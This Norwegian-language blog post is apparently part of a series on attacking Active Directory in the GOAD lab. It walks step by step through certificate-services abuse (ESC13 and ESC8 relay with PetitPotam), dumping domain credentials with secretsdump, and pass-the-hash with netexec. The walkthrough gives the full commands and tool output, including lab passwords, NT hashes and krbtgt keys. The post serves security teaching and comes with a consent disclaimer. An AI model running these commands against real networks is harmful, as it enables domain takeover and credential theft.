Game of Active Directory del 3.4 – Persistence Privilege escalation & Lateral Movement – finale.
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
I forrige innlegg avrundet vi ved å vise hvordan gjenbruk av passord gav oss en mulighet til å trenge inn via mssql tjenesten på braavos.essos.local og dermed en fot på innsiden av essos.local skogen. I dette innlegget skal vi ta for oss eskalering av privilegier og lateral bevegelse over til meereen.essos.local, hvor vi skal legge oss selv til som Enterprise Admin bare for å vise at det er mulig. Hovedfokuset i dette innlegget vil være sårbare konfigurasjoner i Active Directory Certificate Services.
Angrepsbaner
Mange har dårlig kontroll på Active Directory Certificate Services, og det er ikke så rart , det er et komplekst tema de færreste lærer noe særlig om med mindre de spesialiserer seg på det.
I denne artikkelen ønsker jeg å demonstrere noen forskjellige svake konfigurasjoner. Vi skal ikke gå gjennom alle, men noen få, fordi det er viktig å understreke at det finnes flere problematiske konfigurasjoner med potensielt alvorlige konsekvenser.
Angrepsbane #1 – ESC13
Jeg ba Bloodhound finne en vei fra [email protected] brukeren til meereen.essos.local objektet, og fikk følgende graf:

Denne sertifikatmalen er konfigurert for labben med sårbarheten kalt “ESC13”. Den er konfigurert for klient-autentisering, og den gir medlemskap i en gruppe. I denne labben er gruppen den er koblet til “GREATMASTER”, som har administrative privilegier på domenekontrolleren MEEREEN.
Fordi SQL_SVC brukeren vi allerede har brukernavn og passord til er medlem av Domain Users i essos.local, og Domain Users har rett til å etterspørre sertifikatet ESC13, så kan SQL_SVC i teorien legge seg selv til som lokaladministrator på domenekontrolleren.
Rekognosering
Vi gjør først litt rekognosering fra angrepsmaskinen vår, med et verktøy som heter Certipy. Vi benytter “Find” funksjonaliteten i Certipy for å autentisere oss mot sertifikattjenestene i Essos med sql_svc brukeren, og ser etter sårbare sertifikatmaler, som f.eks den ESC13 malen vi har funnet via Bloodhound. Dette gjør vi fordi vi ønsker litt mer informasjon om hvordan ESC13 malen er satt opp, men også for å finne andre interessante maler vi kan undersøke, og det er nyttig å vise at Bloodhound ikke er eneste verktøyet vi kan bruke for å enumerere sertifikatbaserte sårbarheter i et AD miljø.
certipy find -u '[email protected]' -p 'YouWillNotKerboroast1ngMeeeeee' -dc-ip '10.3.2.12' -text -enabled
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 40 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 18 enabled certificate templates
[*] Finding issuance policies
[*] Found 27 issuance policies
[*] Found 7 OIDs linked to templates
[*] Retrieving CA configuration for 'ESSOS-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ESSOS-CA'
[*] Checking web enrollment for CA 'ESSOS-CA' @ 'braavos.essos.local'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Saving text output to '20251007075641_Certipy.txt'
[*] Wrote text output to '20251007075641_Certipy.txt'
Certipy gir oss bl.a. svært interessant informasjon om selve sertifikattjeneren.
Certificate Authorities
0
CA Name : ESSOS-CA
DNS Name : braavos.essos.local
Certificate Subject : CN=ESSOS-CA, DC=essos, DC=local
Certificate Serial Number : 1820E2DB695D39AA41D26F903197238F
Certificate Validity Start : 2025-09-11 19:35:45+00:00
Certificate Validity End : 2030-09-11 19:45:44+00:00
Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : False
User Specified SAN : Enabled
Request Disposition : Issue
Enforce Encryption for Requests : Disabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : ESSOS.LOCAL\Administrators
Access Rights
ManageCa : ESSOS.LOCAL\Administrators
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ManageCertificates : ESSOS.LOCAL\Administrators
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Enroll : ESSOS.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC6 : Enrollee can specify SAN.
ESC8 : Web Enrollment is enabled over HTTP.
ESC11 : Encryption is not enforced for ICPR (RPC) requests.
[*] Remarks
ESC6 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Vi ser HTTP Web Enrollment er slått på, som gjør selve sertifikattjeneren sårbar for NTLM relay angrep, ettersom HTTP er en klartekstprotokoll uten signering. Denne sårbarheten er også poengtert som en sårbarhet kalt ESC8, som Certipy også trekker oppmerksomheten vår mot.
Vi får også detaljer om hver enkelt sertifikatmal, som f.eks ESC13 malen her:
Certificate Templates
0
Template Name : ESC13
Display Name : ESC13
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-09-11T18:50:29+00:00
Template Last Modified : 2025-09-12T14:45:42+00:00
Issuance Policies : 1.3.6.1.4.1.311.21.8.11207162.16194168.7618993.8087878.16471814.222.81485093.84030427
1.3.6.1.4.1.311.21.8.11207162.16194168.7618993.8087878.16471814.222.53016532.91256354
1.3.6.1.4.1.311.21.8.11207162.16194168.7618993.8087878.16471814.222.11103715.67862760
1.3.6.1.4.1.311.21.8.11207162.16194168.7618993.8087878.16471814.222.46738277.16251393
1.3.6.1.4.1.311.21.8.11207162.16194168.7618993.8087878.16471814.222.59906215.20214076
1.3.6.1.4.1.311.21.8.11207162.16194168.7618993.8087878.16471814.222.54309475.61286128
1.3.6.1.4.1.311.21.8.11207162.16194168.7618993.8087878.16471814.222.67609022.78233752
Linked Groups : CN=greatmaster,CN=Users,DC=essos,DC=local
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Users
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Full Control Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[+] User Enrollable Principals : ESSOS.LOCAL\Domain Users
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=greatmaster,CN=Users,DC=essos,DC=local'.
ESC13 malen tillater autentisering, og er linket til greatmaster gruppen i essos.local. Videre ser vi at “ESSOS.LOCAL\Domain Users” har enrollment rettigheter – altså at de kan etterspørre sertifikatet. Certipy har allerede sørget for at kun de aktive malene på sertifikattjenesten blir vist, så vi slipper å gå gjennom de som ikke kan brukes fordi de er avslått.
Vi etterspør ESC13 sertifikatet på vegne av sql_svc og identifiserer oss med riktig brukernavn og passord, mot riktig Certificate Authority i essos.local – som vi fant ut via Certipy find.
$ certipy req -u [email protected] -p YouWillNotKerboroast1ngMeeeeee -ca ESSOS-CA -target braavos.essos.local -template ESC13
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'sql_svc.pfx'
[*] Wrote certificate and private key to 'sql_svc.pfx'
Så bruker vi igjen Certipy for å autentisere med vårt flunkende nye sertifikat mot Meereen for å etterspørre en TGT.
$ certipy auth -pfx sql_svc.pfx -dc-ip 10.3.2.12
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'sql_svc.ccache'
File 'sql_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'sql_svc.ccache'
[*] Trying to retrieve NT hash for 'sql_svc'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804
Og så bruker vi f.eks impacket-secretsdump til å dumpe ut rubbel og bit med kredentialer fra meereen domenekontrolleren, med vår nye kerberos-billett.
$ impacket-secretsdump -k -no-pass meereen.essos.local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x737a2a868489f8fc657ab97c16b317c6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ESSOS\MEEREEN$:plain_password_hex:3cbe291fa44f4f677efab6f63aea18d67ed764bf6c21dd31a6a46dc2f3678e2a349171a06870f2d8f6cf6da118c3b7df70f6c98d8cfd53f6d1e0749804c7eb29e8b94ca24583c285aa6eda00b8887be30b9f1f3013239f6b2d4cdc1936fba7bdee3a783354b366022f18a3d6088695b25471c85381d848ab3eca05392cf5c6ee8fff461f03008b098f6b3784624f1cd8c5244c8dd2a4d1649ae38f5c8a3043c288ec5c2fa2c3df386010f363810cc73f9560e888667b71618d7e1bcc7cd284a54b6d74439f5562be482a9b0fc824e97a05287193363840c9498323df971f017132c4785350c4a65e2db7636364095ccf
ESSOS\MEEREEN$:aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0552276b93169601952221fddd9481e810ee5d50
dpapi_userkey:0xe4ab110d019233fc243d6bdb86fd66d06350caaf
[*] NL$KM
0000 D3 6B D5 FF 27 14 90 56 ED 90 A6 4C D5 18 FE 84 .k..'..V...L....
0010 EC 69 09 33 E5 BE 27 F6 6E D7 DB E8 C7 31 5A 8B .i.3..'.n....1Z.
0020 53 C9 D6 EF B4 0E B2 A9 BF 9E C7 E1 29 ED A8 E5 S...........)...
0030 10 E4 7D AF BF A5 86 E3 88 E5 20 2C 5A 5E 58 41 ..}....... ,Z^XA
NL$KM:d36bd5ff27149056ed90a64cd518fe84ec690933e5be27f66ed7dbe8c7315a8b53c9d6efb40eb2a9bf9ec7e129eda8e510e47dafbfa586e388e5202c5a5e5841
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3629557c8649a89c73b9785a8191a1d4:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
daenerys.targaryen:1113:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
viserys.targaryen:1114:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
khal.drogo:1115:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
jorah.mormont:1116:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
missandei:1117:aad3b435b51404eeaad3b435b51404ee:1b4fd18edf477048c7a7c32fda251cec:::
drogon:1118:aad3b435b51404eeaad3b435b51404ee:195e021e4c0ae619f612fb16c5706bb6:::
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d:::
BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:ffcdc8585135b0ad6991f47eb3a69767:::
gmsaDragon$:1120:aad3b435b51404eeaad3b435b51404ee:7fc360a05308304d8a75c8dbe3a5201c:::
SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:5ed65337be5baf80e87377b374dc6913:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:284e2c4031851adcc0ca7dc0a821e0acfaa81e030e70571a38ffea50113ab8a5
krbtgt:aes128-cts-hmac-sha1-96:bdde69205c84534f0c7e9d85d512fe05
krbtgt:des-cbc-md5:0702c15d67c16445
daenerys.targaryen:aes256-cts-hmac-sha1-96:cf091fbd07f729567ac448ba96c08b12fa67c1372f439ae093f67c6e2cf82378
daenerys.targaryen:aes128-cts-hmac-sha1-96:eeb91a725e7c7d83bfc7970532f2b69c
daenerys.targaryen:des-cbc-md5:bc6ddf7ce60d29cd
viserys.targaryen:aes256-cts-hmac-sha1-96:b4124b8311d9d84ee45455bccbc48a108d366d5887b35428075b644e6724c96e
viserys.targaryen:aes128-cts-hmac-sha1-96:4b34e2537da4f1ac2d16135a5cb9bd3e
viserys.targaryen:des-cbc-md5:70528fa13bc1f2a1
khal.drogo:aes256-cts-hmac-sha1-96:2ef916a78335b11da896216ad6a4f3b1fd6276938d14070444900a75e5bf7eb4
khal.drogo:aes128-cts-hmac-sha1-96:7d76da251df8d5cec9bf3732e1f6c1ac
khal.drogo:des-cbc-md5:b5ec4c1032ef020d
jorah.mormont:aes256-cts-hmac-sha1-96:286398f9a9317f08acd3323e5cef90f9e84628c43597850e22d69c8402a26ece
jorah.mormont:aes128-cts-hmac-sha1-96:896e68f8c9ca6c608d3feb051f0de671
jorah.mormont:des-cbc-md5:b926916289464ffb
missandei:aes256-cts-hmac-sha1-96:41d08ceba69dde0e8f7de8936b3e1e48ee94f9635c855f398cd76262478ffe1c
missandei:aes128-cts-hmac-sha1-96:0a9a4343b11f3cce3b66a7f6c3d6377a
missandei:des-cbc-md5:54ec15a8c8e6f44f
drogon:aes256-cts-hmac-sha1-96:2f92317ed2d02a28a05e589095a92a8ec550b5655d45382fc877f9359e1b7fa1
drogon:aes128-cts-hmac-sha1-96:3968ac4efd4792d0acef565ac4158814
drogon:des-cbc-md5:bf1c85a7c8fdf237
sql_svc:aes256-cts-hmac-sha1-96:ca26951b04c2d410864366d048d7b9cbb252a810007368a1afcf54adaa1c0516
sql_svc:aes128-cts-hmac-sha1-96:dc0da2bdf6dc56423074a4fd8a8fa5f8
sql_svc:des-cbc-md5:91d6b0df31b52a3d
MEEREEN$:aes256-cts-hmac-sha1-96:627947a08303ffc008bb8984ac96f0c760fc3d2e5eb862b11edbd3533a10c768
MEEREEN$:aes128-cts-hmac-sha1-96:5c196a34f9258e725b2cbc62c72ff5c0
MEEREEN$:des-cbc-md5:2fe97f46b9253864
BRAAVOS$:aes256-cts-hmac-sha1-96:8d4c7ad755d68b03af90cf6a3961a6b594f8c9ea20b6d3ee0a97895d028d7f8e
BRAAVOS$:aes128-cts-hmac-sha1-96:82cbe868cf91352bd7cd6f6f50feb6f1
BRAAVOS$:des-cbc-md5:86dfd964d35e0ed9
gmsaDragon$:aes256-cts-hmac-sha1-96:ac426a3d054ae8e74d015db42a6b22cb05b1940072665f973601a38f44f11571
gmsaDragon$:aes128-cts-hmac-sha1-96:7c121eb9123f679c1904fde4a979dc8b
gmsaDragon$:des-cbc-md5:706bf845f4f2df1f
SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:f9a4c9931fdcfb0562e22ea9274ba2be42a4bc311bcde8b91864cb44e7ee3fd6
SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:b9a00bf0a4e7757c89878238b03a020d
SEVENKINGDOMS$:des-cbc-md5:94a4b63edfb04938
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Og dersom vi for eksempel plukker ut daenerys.targaryen fra listen og mater hennes brukernavn og passordhash inn i netexec og prøver å enumerere SMB fileshares, så har vi full admintilgang på braavos og meereen.
$ netexec smb 10.3.2.10-30 -u daenerys.targaryen -H 34534854d33b398b66684072224bb47a --shares
SMB 10.3.2.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.3.2.23 445 BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB 10.3.2.12 445 MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB 10.3.2.11 445 WINTERFELL [-] north.sevenkingdoms.local\daenerys.targaryen:34534854d33b398b66684072224bb47a STATUS_LOGON_FAILURE
SMB 10.3.2.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB 10.3.2.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 10.3.2.23 445 BRAAVOS [+] essos.local\daenerys.targaryen:34534854d33b398b66684072224bb47a (Pwn3d!)
SMB 10.3.2.12 445 MEEREEN [+] essos.local\daenerys.targaryen:34534854d33b398b66684072224bb47a (Pwn3d!)
SMB 10.3.2.22 445 CASTELBLACK [+] north.sevenkingdoms.local\daenerys.targaryen:34534854d33b398b66684072224bb47a (Guest)
SMB 10.3.2.10 445 KINGSLANDING [-] sevenkingdoms.local\daenerys.targaryen:34534854d33b398b66684072224bb47a STATUS_LOGON_FAILURE
SMB 10.3.2.22 445 CASTELBLACK [*] Enumerated shares
SMB 10.3.2.22 445 CASTELBLACK Share Permissions Remark
SMB 10.3.2.22 445 CASTELBLACK ----- ----------- ------
SMB 10.3.2.22 445 CASTELBLACK ADMIN$ Remote Admin
SMB 10.3.2.22 445 CASTELBLACK all READ,WRITE Basic RW share for all
SMB 10.3.2.22 445 CASTELBLACK C$ Default share
SMB 10.3.2.22 445 CASTELBLACK IPC$ READ Remote IPC
SMB 10.3.2.22 445 CASTELBLACK public Basic Read share for all domain users
SMB 10.3.2.23 445 BRAAVOS [*] Enumerated shares
SMB 10.3.2.23 445 BRAAVOS Share Permissions Remark
SMB 10.3.2.23 445 BRAAVOS ----- ----------- ------
SMB 10.3.2.23 445 BRAAVOS ADMIN$ READ,WRITE Remote Admin
SMB 10.3.2.23 445 BRAAVOS all READ,WRITE Basic RW share for all
SMB 10.3.2.23 445 BRAAVOS C$ READ,WRITE Default share
SMB 10.3.2.23 445 BRAAVOS CertEnroll READ,WRITE Active Directory Certificate Services share
SMB 10.3.2.23 445 BRAAVOS IPC$ READ Remote IPC
SMB 10.3.2.23 445 BRAAVOS public READ,WRITE Basic Read share for all domain users
SMB 10.3.2.12 445 MEEREEN [*] Enumerated shares
SMB 10.3.2.12 445 MEEREEN Share Permissions Remark
SMB 10.3.2.12 445 MEEREEN ----- ----------- ------
SMB 10.3.2.12 445 MEEREEN ADMIN$ READ,WRITE Remote Admin
SMB 10.3.2.12 445 MEEREEN C$ READ,WRITE Default share
SMB 10.3.2.12 445 MEEREEN IPC$ READ Remote IPC
SMB 10.3.2.12 445 MEEREEN NETLOGON READ,WRITE Logon server share
SMB 10.3.2.12 445 MEEREEN SYSVOL READ,WRITE Logon server share
Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Angrepsbane 2 – ESC8
En annen sårbarhet utnytter den sårbarheten vi nevnte tidligere, der CA-serveren kjører web-enrollment på HTTP, og dermed kan være sårbar for NTLM relay.
Fordi den er sårbar for relay kan vi forsøke å lure domenekontrolleren til å autentisere seg mot oss, og så kan vi videresende den autentiseringsforespørselen til sertifikatserveren, og etterspørre et sertifikat domenekontrolleren har lov til å få.
Fra certipy find kommandoen vi kjørte tidligere kan vi se følgende sertifikatmal, som kan brukes til autentisering. Som vi ser heter den “DomainControllerAuthentication” og kan brukes til både server- og klient-autentisering, og kan bare utstedes til domain admins, domain controllers, enterprise admins og enterprise domain controllers i Essos.local.
Template Name : DomainControllerAuthentication
Display Name : Domain Controller Authentication
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
Enrollment Flag : AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Smart Card Logon
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-09-11T18:49:37+00:00
Template Last Modified : 2025-09-11T18:49:37+00:00
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Enterprise Read-only Domain Controllers
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Domain Controllers
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Enterprise Domain Controllers
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Full Control Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Write Property Enroll : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Domain Controllers
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Enterprise Domain Controllers
Write Property AutoEnroll : ESSOS.LOCAL\Domain Controllers
ESSOS.LOCAL\Enterprise Domain Controllers
Dette sertifikatet vil la oss identifisere oss som om vi var domenekontrolleren i Essos, så det har vi lyst på.
Vi begynner med å sette opp NTLMRelayX til å peke mot ADCS web enrollment URLen på Braavos, klar til å etterspørre et “DomainControllerAuthentication” sertifikat.
$ impacket-ntlmrelayx -t http://braavos.essos.local/certsrv/ -smb2support --adcs --template DomainControllerAuthentication
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled
[*] Servers started, waiting for connections
Deretter kjører vi et såkalt “coercion” angrep kalt petitpotam som domenekontrolleren i dette tilfellet er sårbar for. Dette vil fremprovosere en autentiseringsforespørsel fra domenekontrolleren mot vår maskin. Vi trenger gyldige kredentialer for dette, men som vi kan se har vi allerede dette i form av sql_svc kontoen i dette eksempelet.
$ python3 ~/tools/PetitPotam/PetitPotam.py -u sql_svc -p YouWillNotKerboroast1ngMeeeeee -d essos.local 10.3.2.144 10.3.2.12
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:braavos.essos.local[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Det som skjer er at Meereen forsøker å autentisere seg mot oss, og vi videresender hashen til sertifikatserverens endepunkt for utstedelse av sertifikater, og presenterer påloggingsdetaljene til Meereen serveren, med en forespørsel om å få et signert sertifikat.
Øyeblikkelig ser vi følgende meldinger dukke opp i NTLMRelayX, og vi vet at vi har lykkes med å få tak i et gyldig sertifikat.
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.3.2.12, attacking target http://braavos.essos.local
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://braavos.essos.local as ESSOS/MEEREEN$ SUCCEED
[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.3.2.12, attacking target http://braavos.essos.local
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://braavos.essos.local as ESSOS/MEEREEN$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 22
[*] Writing PKCS#12 certificate to ./MEEREEN$.pfx
[*] Certificate successfully written to file
Vi utveksler sertifikatet mot en TGT, akkurat som vi gjorde i ESC13 angrepet.
$ certipy auth -pfx MEEREEN\$.pfx -dc-ip 10.3.2.12
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN DNS Host Name: 'meereen.essos.local'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'meereen.ccache'
[*] Wrote credential cache to 'meereen.ccache'
[*] Trying to retrieve NT hash for 'meereen$'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d
Vi tar i bruk sertifikatet og sjekker at vi får tilgang.
$ export KRB5CCNAME=$(PWD)/meereen.ccache
$ impacket-secretsdump -k -no-pass meereen.essos.local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3629557c8649a89c73b9785a8191a1d4:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
daenerys.targaryen:1113:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
viserys.targaryen:1114:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
khal.drogo:1115:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
jorah.mormont:1116:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
missandei:1117:aad3b435b51404eeaad3b435b51404ee:1b4fd18edf477048c7a7c32fda251cec:::
drogon:1118:aad3b435b51404eeaad3b435b51404ee:195e021e4c0ae619f612fb16c5706bb6:::
sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d:::
BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:ffcdc8585135b0ad6991f47eb3a69767:::
gmsaDragon$:1120:aad3b435b51404eeaad3b435b51404ee:7fc360a05308304d8a75c8dbe3a5201c:::
SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:5ed65337be5baf80e87377b374dc6913:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:284e2c4031851adcc0ca7dc0a821e0acfaa81e030e70571a38ffea50113ab8a5
krbtgt:aes128-cts-hmac-sha1-96:bdde69205c84534f0c7e9d85d512fe05
krbtgt:des-cbc-md5:0702c15d67c16445
daenerys.targaryen:aes256-cts-hmac-sha1-96:cf091fbd07f729567ac448ba96c08b12fa67c1372f439ae093f67c6e2cf82378
daenerys.targaryen:aes128-cts-hmac-sha1-96:eeb91a725e7c7d83bfc7970532f2b69c
daenerys.targaryen:des-cbc-md5:bc6ddf7ce60d29cd
viserys.targaryen:aes256-cts-hmac-sha1-96:b4124b8311d9d84ee45455bccbc48a108d366d5887b35428075b644e6724c96e
viserys.targaryen:aes128-cts-hmac-sha1-96:4b34e2537da4f1ac2d16135a5cb9bd3e
viserys.targaryen:des-cbc-md5:70528fa13bc1f2a1
khal.drogo:aes256-cts-hmac-sha1-96:2ef916a78335b11da896216ad6a4f3b1fd6276938d14070444900a75e5bf7eb4
khal.drogo:aes128-cts-hmac-sha1-96:7d76da251df8d5cec9bf3732e1f6c1ac
khal.drogo:des-cbc-md5:b5ec4c1032ef020d
